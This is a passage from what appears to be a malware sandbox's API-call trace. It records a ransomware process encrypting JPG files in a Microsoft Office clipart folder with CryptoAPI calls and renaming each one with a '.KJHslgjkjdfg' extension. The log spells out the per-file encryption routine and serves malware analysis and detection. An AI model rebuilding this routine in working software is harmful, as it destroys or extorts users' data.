ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x178d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382950.JPG", cAlternateFileName="")) returned 1 [0183.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.862] GetProcessHeap () returned 0x2a0000 [0183.862] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.862] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.862] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.862] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0183.864] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.864] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.864] GetProcessHeap () returned 0x2a0000 [0183.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.864] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.864] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.864] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.864] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.864] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.864] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.864] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.864] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.864] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.865] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x178d2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x178d2, lpOverlapped=0x0) returned 1 [0183.866] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x178e0, dwBufLen=0x178e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x178e0) returned 1 [0183.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.867] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x178e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x178e0, lpOverlapped=0x0) returned 1 [0183.868] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x179b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.868] SetEndOfFile (hFile=0x114) returned 1 [0183.870] GetProcessHeap () returned 0x2a0000 [0183.870] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.870] GetProcessHeap () returned 0x2a0000 [0183.870] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.kjhslgjkjdfg")) returned 1 [0183.872] CloseHandle (hObject=0x114) returned 1 [0183.872] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17749, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382952.JPG", cAlternateFileName="")) returned 1 [0183.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.874] GetProcessHeap () returned 0x2a0000 [0183.874] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.874] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.874] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0183.876] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.876] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.876] GetProcessHeap () returned 0x2a0000 [0183.876] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.876] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.876] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.876] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.877] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.877] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.877] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.877] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.877] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17749, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x17749, lpOverlapped=0x0) returned 1 [0183.879] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17750, dwBufLen=0x17750 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17750) returned 1 [0183.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.881] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17750, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x17750, lpOverlapped=0x0) returned 1 [0183.881] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.881] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.881] SetEndOfFile (hFile=0x114) returned 1 [0183.885] GetProcessHeap () returned 0x2a0000 [0183.885] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.885] GetProcessHeap () returned 0x2a0000 [0183.885] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.kjhslgjkjdfg")) returned 1 [0183.887] CloseHandle (hObject=0x114) returned 1 [0183.887] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15a7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382954.JPG", cAlternateFileName="")) returned 1 [0183.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.888] GetProcessHeap () returned 0x2a0000 [0183.888] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.889] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.889] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0183.893] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.893] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.893] GetProcessHeap () returned 0x2a0000 [0183.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.893] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.893] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.893] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.893] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.893] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.893] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.893] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.894] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.894] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.894] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15a7f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15a7f, lpOverlapped=0x0) returned 1 [0183.896] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15a80, dwBufLen=0x15a80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15a80) returned 1 [0183.897] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.897] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15a80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x15a80, lpOverlapped=0x0) returned 1 [0183.898] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.898] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.898] SetEndOfFile (hFile=0x114) returned 1 [0183.901] GetProcessHeap () returned 0x2a0000 [0183.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.901] GetProcessHeap () returned 0x2a0000 [0183.901] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.kjhslgjkjdfg")) returned 1 [0183.903] CloseHandle (hObject=0x114) returned 1 [0183.903] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15fef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382955.JPG", cAlternateFileName="")) returned 1 [0183.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.906] GetProcessHeap () returned 0x2a0000 [0183.906] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.906] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.906] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0183.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.909] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.909] GetProcessHeap () returned 0x2a0000 [0183.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.909] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.909] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.909] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.909] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.909] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.909] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.909] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.910] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.910] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.910] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.910] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.910] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15fef, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15fef, lpOverlapped=0x0) returned 1 [0183.912] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15ff0, dwBufLen=0x15ff0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15ff0) returned 1 [0183.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.913] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15ff0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x15ff0, lpOverlapped=0x0) returned 1 [0183.914] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.914] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x160c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.914] SetEndOfFile (hFile=0x114) returned 1 [0183.918] GetProcessHeap () returned 0x2a0000 [0183.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.918] GetProcessHeap () returned 0x2a0000 [0183.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.kjhslgjkjdfg")) returned 1 [0183.920] CloseHandle (hObject=0x114) returned 1 [0183.920] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a9ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382957.JPG", cAlternateFileName="")) returned 1 [0183.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.922] GetProcessHeap () returned 0x2a0000 [0183.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.922] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0183.924] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.924] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, 